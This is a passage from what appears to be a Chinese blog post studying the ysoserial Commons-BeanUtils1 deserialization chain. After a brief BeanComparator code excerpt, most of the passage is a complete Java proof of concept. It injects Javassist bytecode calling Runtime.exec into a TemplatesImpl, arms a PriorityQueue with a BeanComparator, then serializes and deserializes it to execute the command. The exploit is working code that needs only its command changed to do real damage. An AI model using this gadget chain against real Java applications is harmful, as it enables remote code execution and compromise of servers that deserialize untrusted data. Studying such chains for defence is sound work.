          return this.internalCompare(o1, o2);
    } else {
          try {
                Object value1 = PropertyUtils.getProperty(o1, this.property);
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.internalCompare(value1, value2);
            }
    //internalCompare
    private int internalCompare(Object val1, Object val2) {
            Comparator c = this.comparator;
            return c.compare(val1, val2);
        }
    

    简版payload:

    import javassist.CannotCompileException;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.NotFoundException;
    import org.apache.commons.beanutils.BeanComparator;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.math.BigInteger;
    import java.util.PriorityQueue;
    
    public class Beanutil_test {
        public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, ClassNotFoundException, NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
            String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
            String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    
            ClassPool classPool=ClassPool.getDefault();
            classPool.appendClassPath(AbstractTranslet);
            CtClass payload=classPool.makeClass("CommonsCollections22");
            payload.setSuperclass(classPool.get(AbstractTranslet)); 
            payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); 
    
            byte[] bytes=payload.toBytecode();
    
            Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
            Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
            field.setAccessible(true);
            field.set(templatesImpl,new byte[][]{bytes});
    
            Field field1=templatesImpl.getClass().getDeclaredField("_name");
            field1.setAccessible(true);
            field1.set(templatesImpl,"test");
    
            BeanComparator comparator = new BeanComparator("lowestSetBit");
            PriorityQueue<Object> queue =  new PriorityQueue<Object>(2, comparator);
            queue.add(new BigInteger("1"));
            queue.add(new BigInteger("1"));
    
    
            Field field2=comparator.getClass().getDeclaredField("property");
            field2.setAccessible(true);
            field2.set(comparator,"outputProperties");
    
            Field field4=queue.getClass().getDeclaredField("queue");
            field4.setAccessible(true);
            Object[] queueArray=(Object[])field4.get(queue);
            queueArray[0] = templatesImpl;
            queueArray[1] = templatesImpl;
    
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
            outputStream.writeObject(queue);
            outputStream.close();
    
            ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
            inputStream.readObject();
        }
    }
    

    相关文章

      网友评论

          本文标题:第四周—再看ysoserial

          本文链接:https://www.haomeiwen.com/subject/uodmnktx.html